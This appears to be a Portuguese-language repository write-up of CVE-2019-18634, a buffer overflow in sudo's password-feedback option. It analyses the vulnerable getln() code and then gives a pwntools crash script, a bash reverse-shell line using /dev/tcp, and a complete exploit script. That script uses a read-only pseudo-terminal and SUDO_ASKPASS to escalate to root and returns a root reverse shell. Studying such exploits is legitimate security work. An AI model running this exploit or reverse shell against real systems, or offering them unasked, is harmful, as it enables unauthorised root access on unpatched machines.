
Este repositório contém tanto o exploit quanto a explicação de como essa vulnerabilidade é explorada.
CVE-2019-18634 é uma vulnerabilidade que afeta o Sudo nas versões < 1.8.25 quando o pwfeedback está ativado no arquivo sudoers. Ela permite que um invasor eleve privilégios para root explorando um Buffer Overflow Baseado em BSS, onde as estruturas de dados são alteradas e o programa pensa que está sendo executado como root e, portanto, não pede mais a senha e concede privilégios de root.
Nesta análise, vou primeiro me aprofundar na descoberta da vulnerabilidade analisando o código e entendendo o que está errado. O artigo do NIST explica que a vulnerabilidade é encontrada na função getln(), então vamos dar uma olhada nela primeiro:
Podemos ver que a função lê de um descritor de arquivo buffersize vezes, um por um, e, se o caractere lido for sudo-term-kill, ela começa a apagar toda a entrada enviada e traz o ponteiro atual de volta ao início e define novamente o número de caracteres a serem lidos como buffersize.
O bug reside no seguinte fragmento de código:
static char *
getln(int fd, char *buf, size_t bufsiz, int feedback)
{
size_t left = bufsiz;
ssize_t nr = -1;
char *cp = buf;
char c = '\0';
debug_decl(getln, SUDO_DEBUG_CONV)
// ...
while (--left) {
nr = read(fd, &c, 1);
if (nr != 1 || c == '\n' || c == '\r')
break;
if (feedback) {
if (c == sudo_term_kill) {
while (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
}
left = bufsiz;
continue;
}
// ...
}
*cp++ = c;
}
// ...
}
Basicamente, quando o caractere sudo-term-kill está presente, se a operação de escrita falhar, ela não decrementa o ponteiro do buffer, mas redefine a contagem de quantos caracteres podem ser escritos, efetivamente permitindo uma escrita de comprimento arbitrário nesse buffer.
Uma análise aprofundada do código e das funções usadas revela que o caractere sudo-term-kill é definido como um inteiro global não declarado, o que significa que será inicializado como 0 a menos que receba entrada de um terminal, caso em que será o que está definido na estrutura termios c_cc, que de acordo com a documentação é:
Não vou me aprofundar muito nas deduções aqui, mas todas podem ser replicadas observando o código-fonte do arquivo term.c no repositório do Sudo.
Após essa pequena análise, tudo o que resta é fazer o programa travar e depurá-lo para que possamos ver o que está sendo armazenado e como isso poderia ser potencialmente explorado para obter algum benefício.
Para acionar o exploit, basta enviar um payload com dados suficientes para estourar o buffer e travar o programa. Para fazer isso, decidi usar a biblioteca Python pwntools
import pwn
payload = b"A\x00"*10000
p = pwn.process(["/usr/local/bin/sudo", "-k", "-S", "id"]) # -k para pedir a senha toda vez, -S para especificar stdin, já que o pwntools precisa passar dados via stdin
print(p.read())
p.sendline(payload)
print(p.read())
Que, ao ser executado, gerou o seguinte erro:

Legal!! Segmentation fault, então sobrescrevemos algo que travou a execução do binário. Agora, devemos analisar o que foi sobrescrito e as maneiras de obter proveito disso.
Para depurar o binário, basta pausar a execução do processo antes de enviar o payload, anexar um depurador a ele e depois continuar a execução. Tem que ser dessa forma porque, para depurar o processo sudo, privilégios de root devem ser usados, mas isso faz com que o programa não peça a senha, que é a parte vulnerável.
Com isso dito, vamos ver o que foi armazenado no buffer e nos endereços de memória subsequentes:

Podemos ver que, além do buffer, várias outras estruturas de dados foram sobrescritas, o que pode ser interessante para explorar essa vulnerabilidade. Em seguida, decidi ver quais dados estavam nessas estruturas antes de sobrescrevê-las. Para isso, executei o mesmo script, mas sobrescrevendo apenas buffersize bytes de dados e analisei novamente a memória:
Como podemos ver, a estrutura de dados signo está toda zerada, exceto pelo byte na posição 548, que é 0x02. Em seguida, vem a estrutura user-details, que no código é referida como os detalhes do usuário que está executando sudo. O 0x02 representa a opção -S, conforme definido no arquivo sudo.h. Nesse mesmo arquivo, outra opção chamada Askpass é definida, na qual um programa é obtido de uma variável de ambiente e usado como auxiliar para obter a senha (em vez de usar um TTY ou STDIN). Com essas informações, o caminho de exploração pode ficar um pouco mais claro.
Podemos definir um programa auxiliar personalizado (digamos, um reverse shell) e, em seguida, sobrescrever user-details para fazer parecer que o sudo foi executado pelo root.
Para a exploração, ainda há algo a superar: precisamos escrever zeros para preservar os dados originais das estruturas de dados, além disso, também precisamos deles para definir os detalhes do usuário como os do root; portanto, não podemos usar a entrada padrão porque ela não escreveria os zeros. Felizmente, sabemos que, se usarmos um dispositivo de terminal, o caractere kill é 0x15, que é um caractere que não precisamos.
Com isso surge um problema: precisamos que a operação de escrita falhe, mas os dispositivos de terminal são graváveis e legíveis, o que significa que eles não farão a operação de escrita falhar. Pesquisando um pouco, encontrei os pseudo-terminais, que são essencialmente dispositivos de terminal que podem ser criados a partir de programas e controlados:
Com um PTY, podemos nos comunicar com o mestre e o mestre se comunicará com o escravo. Se definirmos o escravo para ter apenas permissões de leitura, os programas nunca conseguirão escrever nele (portanto, falharão), o que significa que seremos capazes de acionar o exploit.
Com tudo isso em prática, só falta escrever o reverse shell
#!/usr/bin/bash
bash -i >& /dev/tcp/127.0.0.1/4242 0>&1
E o exploit:
import os
import pwn
import sys
####### Offsets de informações importantes #######
buff = 0x563142f712c0
signo = 0x563142f713e0
userdetails = 0x563142f71500
tgetflag = 0x563142f714e4
####### Descritores de arquivo PTY ######
masterfd, slavefd = os.openpty()
fd = os.open(os.ttyname(slavefd), os.O_RDONLY)
rshell = "/tmp/revshell.sh"
####### Processo iniciado com pty como stdin e rshell como programa sudo askpass ###
proc = pwn.process(['/usr/local/bin/sudo', '-k', '-S', 'id'], env={'SUDO_ASKPASS':rshell}, stdin=fd)
pwn.log.info(f"Processo iniciado. Executará {rshell} como payload")
####### Listener #######
port = pwn.listen(4242)
####### Payload #######
pwn.log.info("Enviando Payload")
payload = (b'\x00' + b'\x15') * (tgetflag - buff)
payload += pwn.p64(0x4).ljust(userdetails - tgetflag, b'\x00')
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
os.write(masterfd, payload + b'\n')
port.wait_for_connection()
pwn.log.info("wo0t wo0t bem-vindo de volta, meu senhor")
port.interactive()
Usando esses, um reverse shell é recebido como root:
